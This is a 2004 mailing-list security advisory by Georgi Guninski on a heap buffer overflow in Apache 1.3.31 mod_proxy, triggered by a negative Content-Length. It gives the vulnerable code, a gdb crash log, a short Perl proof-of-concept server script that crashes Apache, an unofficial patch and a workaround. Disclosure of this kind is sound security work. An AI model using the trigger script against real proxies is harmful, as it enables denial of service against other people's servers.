Message-ID: <20040610143826.GE19509@sivokote.iziade.m$>
From: guninski at guninski.com (Georgi Guninski)
Subject: Buffer overflow in apache mod_proxy,yet still apache much better than windows

Georgi Guninski security advisory #69, 2004

Buffer overflow in apache mod_proxy,yet still apache much better than windows

Systems affected:
modproxy from apache 1.3.31 and earlier

Risk:  Unknown - at least a crash, exploitability unknown
Date: 10 June 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You  may  not  modify	it   and   distribute	it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,	cert
and mitre.
If   you   want    to	 link	 to    this    content	  use	 the	URL:
http://www.guninski.com/modproxy1.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are	my  own  and
not   of   any	 company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for	any  damages
caused by direct  or  indirect	use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
responsibility for  content  or  misuse  of  this  advisory  or  program  or
any derivatives thereof.

Description:

There is a buffer overflow in modproxy. It is heap based memcpy with
negative size.

Details:

The problem is in proxy_util.c:
 n = ap_bread(f, buf, MIN((int)buf_size,
                          (int)(len - total_bytes_rcvd)));

clearly len can be negative.
ap_bread leads to memcpy.

Exploitation is unknown, but at least Freebsd 5.2.1 seems promising.
The freebsd memcpy implementation copies backwards in this case, which
means that by playing with len it is possible to do copy from X to X+K
where K seems indepedent of len and X is about half the address space on x86.
Apache does some code execution after SEGV, which may be another exploit
vector.

Some of the apache guys believe this bug is not exploitable, but they
didn't give a proof.

To reproduce make apache fetch the output of pro3.pl.
log from freebsd 5.2.1:

Program received signal SIGSEGV, Segmentation fault.
0x281c0113 in memcpy () from /lib/libc.so.5
(gdb) info stack
#0  0x281c0113 in memcpy () from /lib/libc.so.5
#1  0x00000000 in ?? ()
(gdb) p/x $esi
$1 = 0xbbbffffe
(gdb) p/x $edi
$3 = 0xbbc05424
(gdb) x/i $eip
0x281c0113 <memcpy+67>: repz movsl %ds:(%esi),%es:(%edi)

---pro3.pl------
#!/usr/bin/perl

# copyright Georgi Guninski
# cannot be used in vulnerabilities databases an CVE - especially 
# securityfocus and mitre

print "HTTP/1.1 200 MSUX\r\n";
my $sta= -1213253396 ;
print "Content-Length: " . $sta ."\r\n";
print "\r\n";
print "v" x 33000;
----------------

Fix:

Unofficial fix from me, use at your risk.
-------------------------------------
diff -u apache_1.3.31/src/modules/proxy/proxy_util.c apache_1.3.31my/src/modules/proxy/proxy_util.c
--- apache_1.3.31/src/modules/proxy/proxy_util.c        Tue Feb 17 23:52:22 2004
+++ apache_1.3.31my/src/modules/proxy/proxy_util.c      Tue Jun  8 11:24:15 2004
@@ -545,8 +545,8 @@
                 n = ap_bread(f, buf, buf_size);
             }
             else {
-                n = ap_bread(f, buf, MIN((int)buf_size,
-                                         (int)(len - total_bytes_rcvd)));
+                n = ap_bread(f, buf, MIN((size_t)buf_size,
+                                         (size_t)(len - total_bytes_rcvd)));
             }
         }
-------------------------------------

Workaround:
disable modproxy

Vendor status:
security@...che.org are aware of the bug

Georgi Guninski
http://www.guninski.com

Powered by blists - more mailing lists